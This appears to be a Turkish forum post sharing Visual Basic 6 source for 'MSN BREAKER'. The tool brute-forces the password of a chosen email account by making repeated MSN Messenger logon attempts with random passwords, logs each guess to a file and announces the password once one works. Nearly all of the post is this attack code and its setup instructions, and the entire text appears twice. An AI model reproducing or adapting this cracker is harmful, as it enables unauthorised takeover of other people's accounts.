Bir çok Visual Basic kullanıcısının tam aradığım kod diyeceği, bir çok profesyonelinde bu da kodmu bir şifreyi ancak 1000 yılda bulur diyebileceği bir kod.
Amacım tamamen geliştirme ve deneme amaçlıdır, hangi düzeyde olursak olalım fikirlerinizi ve önerilerinizi sizde yazın hep birlikte geliştirelim hep birlikte kullanalım.
'NASIL ÇALIŞIR:
'Program 6 haneden 10 haneye kadar rakkam ve küçük harf karakterlerinden oluşan RANDOM bir şifre üretir
've onu kırmak istediğiniz email adresi üzerinde dener, denediği şifreleri çalıştığı klasör altında bulunan
'sozluk.txt adı verilen (dilerseniz adını değiştirebiliyorsunuz) dosyanın içinde tekrar boşuboşuna bu şifreleri
'denememek içIn saklı tutar.
'YAPILMASI GEREKENLER:
'Bir nopepad açarak içine form kodunu yapıştırın ve kaydedip adını form1.frm olarak kaydedin, başka bir
'notepad dosyası açın içine Modül kodunu yazın, kaydedin ve adını module1.bas olarak değiştirin, başka bir
'notepad içinede sadece "sozluk" yazın ve adı sozluk txt olarak kaydedin.
'Form1.frm ve Module1.bas dosyalarını bir visual basic proje dosyası altında birleştirin ve bu proje ye
'References menusunden messenger ile ilgili bulabildiğiniz tüm öğeleri eklemeyi unutmayın, bu öğeleri
'eklemezseniz program çalışmayacaktır.
'Form kodu ve modul kodu aşağıda verilmiştir.
'FORM KODU
VERSION 5.00
Begin VB.Form Form1
BorderStyle = 1 'Fixed Single
Caption = "MSN BREAKER"
ClientHeight = 2865
ClientLeft = 45
ClientTop = 330
ClientWidth = 4350
Icon = "Form1.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 2865
ScaleWidth = 4350
StartUpPosition = 3 'Windows Default
Begin VB.TextBox Text4
BackColor = &H00000000&
ForeColor = &H0000FFFF&
Height = 285
Left = 1080
TabIndex = 9
Text = "sozluk.txt"
Top = 90
Width = 2775
End
Begin VB.CommandButton Command4
Caption = "LİSTEYİ GORUNTULE"
Height = 375
Left = 2280
TabIndex = 7
Top = 1080
Width = 1935
End
Begin VB.CommandButton Command3
Caption = "DUR"
Height = 375
Left = 1320
TabIndex = 6
Top = 1080
Width = 855
End
Begin VB.TextBox Text3
BackColor = &H00000000&
ForeColor = &H0000FFFF&
Height = 285
Left = 1320
TabIndex = 5
Top = 2040
Width = 1935
End
Begin VB.TextBox Text2
BackColor = &H00000000&
ForeColor = &H0000FFFF&
Height = 285
Left = 1320
TabIndex = 4
Top = 1680
Width = 1935
End
Begin VB.TextBox Text1
BackColor = &H00000000&
ForeColor = &H0000FFFF&
Height = 285
Left = 1080
TabIndex = 2
Top = 600
Width = 2775
End
Begin VB.CommandButton Command1
Caption = "KIR"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 162
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 240
TabIndex = 0
Top = 1080
Width = 975
End
Begin VB.Label Label5
Caption = "MSN Status:"
Height = 255
Left = 120
TabIndex = 11
Top = 2040
Width = 1095
End
Begin VB.Label Label4
Alignment = 2 'Center
Caption = "Yazar: Oğuz Köroğlu"
Height = 255
Left = 120
TabIndex = 10
Top = 2520
Width = 4095
End
Begin VB.Label Label3
Caption = "Sozluk ADI:"
Height = 255
Left = 120
TabIndex = 8
Top = 120
Width = 855
End
Begin VB.Label Label2
Caption = "Denenen Şifre:"
Height = 255
Left = 120
TabIndex = 3
Top = 1680
Width = 1215
End
Begin VB.Label Label1
Caption = "Email:"
Height = 255
Left = 120
TabIndex = 1
Top = 600
Width = 495
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command1_Click()
Dim A As String, B As String
Dim Exist As Boolean
DUR = False
Do While DUR = False
DoEvents
Do
DoEvents
A = OtoSifre(0)
Open App.Path & "/" & SozlukADI For Input As #1
Exist = False
Do While Not EOF(1)
DoEvents
Input #1, B
If A = B Then Exist = True
Loop
Close #1
If Exist = False Then Exit Do
Loop
Text2 = A
MSN.Logon Text1.Text, A, MSN.Services.PrimaryService
Do
DoEvents
'Debug.Print MSN.LocalState
Select Case MSN.LocalState
Case Is = 1
Text3 = "Şifre gereçersiz"
Case Is = 2
Text3 = "Şifre Doğrulandı"
Case Is = 512
Text3 = "Deneniyor"
Case Is = 768
Text3 = "Bağlanıyor"
End Select
If MSN.LocalState = 2 Or MSN.LocalState = 1 Then Exit Do
Loop
If MSN.LocalState = 2 Then
Open App.Path & "/" & SozlukADI For Append As #1
Write #1, "PASSWORD:" & A
Close #1
MsgBox "EMAIL: " & Text1 & ", PASSWORD: " & A, vbOKOnly, "PASSWORD FOUND"
Exit Do
Else
Open App.Path & "/" & SozlukADI For Append As #1
Write #1, A
Close #1
End If
Loop
MsgBox "PROGRESS COMPELETED"
End Sub
Private Sub Command2_Click()
anser = MsgBox("Daha önceki sözlük silinecek,devam edecenmi?", vbYesNo)
If anser = vbYes Then SozlukOlustur
End Sub
Private Sub Command3_Click()
DUR = True
End Sub
Private Sub Command4_Click()
Shell "notepad.exe " & App.Path & "/sozluk.txt", vbNormalFocus
End Sub
Private Sub Form_Load()
SozlukADI = "sozluk.txt"
MSN.Logoff
End Sub
Private Sub Form_Terminate()
DUR = True
End
End Sub
Private Sub Form_Unload(Cancel As Integer)
DUR = True
End
End Sub
Private Sub Text4_Change()
SozlukADI = Text4
End Sub
Private Sub Timer1_Timer()
Debug.Print MSN.LocalState
End Sub
'ModÜL KODU
Global DUR As Boolean
Global MSN As New MsgrObject
Global MSNAPI As New MessengerAPI.Messenger
Global SozlukADI As String
Dim Harf() As Integer
Function OtoSifre(Hane As Integer) As String
Randomize Timer
If Hane = 0 Then Hane = Int(4 * Rnd(1)) + 6 'kac basamakli bilemiyorum 6 dan 10 basamağa kadar tahmin ettiriyorum
ReDim Harf(Hane) As Integer
Dim tip As Integer
For t = 1 To Hane
tip = Int(2 * Rnd(1))
Select Case tip
Case Is = 0
Harf(t) = Int(10 * Rnd(1)) + 48
Case Is = 1
Harf(t) = Int(26 * Rnd(1)) + 97
End Select
Next t
OtoSifre = ""
For t = 1 To Hane
OtoSifre = OtoSifre & Chr(Harf(t))
Next t
End Function
Amacım tamamen geliştirme ve deneme amaçlıdır, hangi düzeyde olursak olalım fikirlerinizi ve önerilerinizi sizde yazın hep birlikte geliştirelim hep birlikte kullanalım.
'NASIL ÇALIŞIR:
'Program 6 haneden 10 haneye kadar rakkam ve küçük harf karakterlerinden oluşan RANDOM bir şifre üretir
've onu kırmak istediğiniz email adresi üzerinde dener, denediği şifreleri çalıştığı klasör altında bulunan
'sozluk.txt adı verilen (dilerseniz adını değiştirebiliyorsunuz) dosyanın içinde tekrar boşuboşuna bu şifreleri
'denememek içIn saklı tutar.
'YAPILMASI GEREKENLER:
'Bir nopepad açarak içine form kodunu yapıştırın ve kaydedip adını form1.frm olarak kaydedin, başka bir
'notepad dosyası açın içine Modül kodunu yazın, kaydedin ve adını module1.bas olarak değiştirin, başka bir
'notepad içinede sadece "sozluk" yazın ve adı sozluk txt olarak kaydedin.
'Form1.frm ve Module1.bas dosyalarını bir visual basic proje dosyası altında birleştirin ve bu proje ye
'References menusunden messenger ile ilgili bulabildiğiniz tüm öğeleri eklemeyi unutmayın, bu öğeleri
'eklemezseniz program çalışmayacaktır.
'Form kodu ve modul kodu aşağıda verilmiştir.
'FORM KODU
VERSION 5.00
Begin VB.Form Form1
BorderStyle = 1 'Fixed Single
Caption = "MSN BREAKER"
ClientHeight = 2865
ClientLeft = 45
ClientTop = 330
ClientWidth = 4350
Icon = "Form1.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 2865
ScaleWidth = 4350
StartUpPosition = 3 'Windows Default
Begin VB.TextBox Text4
BackColor = &H00000000&
ForeColor = &H0000FFFF&
Height = 285
Left = 1080
TabIndex = 9
Text = "sozluk.txt"
Top = 90
Width = 2775
End
Begin VB.CommandButton Command4
Caption = "LİSTEYİ GORUNTULE"
Height = 375
Left = 2280
TabIndex = 7
Top = 1080
Width = 1935
End
Begin VB.CommandButton Command3
Caption = "DUR"
Height = 375
Left = 1320
TabIndex = 6
Top = 1080
Width = 855
End
Begin VB.TextBox Text3
BackColor = &H00000000&
ForeColor = &H0000FFFF&
Height = 285
Left = 1320
TabIndex = 5
Top = 2040
Width = 1935
End
Begin VB.TextBox Text2
BackColor = &H00000000&
ForeColor = &H0000FFFF&
Height = 285
Left = 1320
TabIndex = 4
Top = 1680
Width = 1935
End
Begin VB.TextBox Text1
BackColor = &H00000000&
ForeColor = &H0000FFFF&
Height = 285
Left = 1080
TabIndex = 2
Top = 600
Width = 2775
End
Begin VB.CommandButton Command1
Caption = "KIR"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 162
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 240
TabIndex = 0
Top = 1080
Width = 975
End
Begin VB.Label Label5
Caption = "MSN Status:"
Height = 255
Left = 120
TabIndex = 11
Top = 2040
Width = 1095
End
Begin VB.Label Label4
Alignment = 2 'Center
Caption = "Yazar: Oğuz Köroğlu"
Height = 255
Left = 120
TabIndex = 10
Top = 2520
Width = 4095
End
Begin VB.Label Label3
Caption = "Sozluk ADI:"
Height = 255
Left = 120
TabIndex = 8
Top = 120
Width = 855
End
Begin VB.Label Label2
Caption = "Denenen Şifre:"
Height = 255
Left = 120
TabIndex = 3
Top = 1680
Width = 1215
End
Begin VB.Label Label1
Caption = "Email:"
Height = 255
Left = 120
TabIndex = 1
Top = 600
Width = 495
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command1_Click()
Dim A As String, B As String
Dim Exist As Boolean
DUR = False
Do While DUR = False
DoEvents
Do
DoEvents
A = OtoSifre(0)
Open App.Path & "/" & SozlukADI For Input As #1
Exist = False
Do While Not EOF(1)
DoEvents
Input #1, B
If A = B Then Exist = True
Loop
Close #1
If Exist = False Then Exit Do
Loop
Text2 = A
MSN.Logon Text1.Text, A, MSN.Services.PrimaryService
Do
DoEvents
'Debug.Print MSN.LocalState
Select Case MSN.LocalState
Case Is = 1
Text3 = "Şifre gereçersiz"
Case Is = 2
Text3 = "Şifre Doğrulandı"
Case Is = 512
Text3 = "Deneniyor"
Case Is = 768
Text3 = "Bağlanıyor"
End Select
If MSN.LocalState = 2 Or MSN.LocalState = 1 Then Exit Do
Loop
If MSN.LocalState = 2 Then
Open App.Path & "/" & SozlukADI For Append As #1
Write #1, "PASSWORD:" & A
Close #1
MsgBox "EMAIL: " & Text1 & ", PASSWORD: " & A, vbOKOnly, "PASSWORD FOUND"
Exit Do
Else
Open App.Path & "/" & SozlukADI For Append As #1
Write #1, A
Close #1
End If
Loop
MsgBox "PROGRESS COMPELETED"
End Sub
Private Sub Command2_Click()
anser = MsgBox("Daha önceki sözlük silinecek,devam edecenmi?", vbYesNo)
If anser = vbYes Then SozlukOlustur
End Sub
Private Sub Command3_Click()
DUR = True
End Sub
Private Sub Command4_Click()
Shell "notepad.exe " & App.Path & "/sozluk.txt", vbNormalFocus
End Sub
Private Sub Form_Load()
SozlukADI = "sozluk.txt"
MSN.Logoff
End Sub
Private Sub Form_Terminate()
DUR = True
End
End Sub
Private Sub Form_Unload(Cancel As Integer)
DUR = True
End
End Sub
Private Sub Text4_Change()
SozlukADI = Text4
End Sub
Private Sub Timer1_Timer()
Debug.Print MSN.LocalState
End Sub
'ModÜL KODU
Global DUR As Boolean
Global MSN As New MsgrObject
Global MSNAPI As New MessengerAPI.Messenger
Global SozlukADI As String
Dim Harf() As Integer
Function OtoSifre(Hane As Integer) As String
Randomize Timer
If Hane = 0 Then Hane = Int(4 * Rnd(1)) + 6 'kac basamakli bilemiyorum 6 dan 10 basamağa kadar tahmin ettiriyorum
ReDim Harf(Hane) As Integer
Dim tip As Integer
For t = 1 To Hane
tip = Int(2 * Rnd(1))
Select Case tip
Case Is = 0
Harf(t) = Int(10 * Rnd(1)) + 48
Case Is = 1
Harf(t) = Int(26 * Rnd(1)) + 97
End Select
Next t
OtoSifre = ""
For t = 1 To Hane
OtoSifre = OtoSifre & Chr(Harf(t))
Next t
End Function
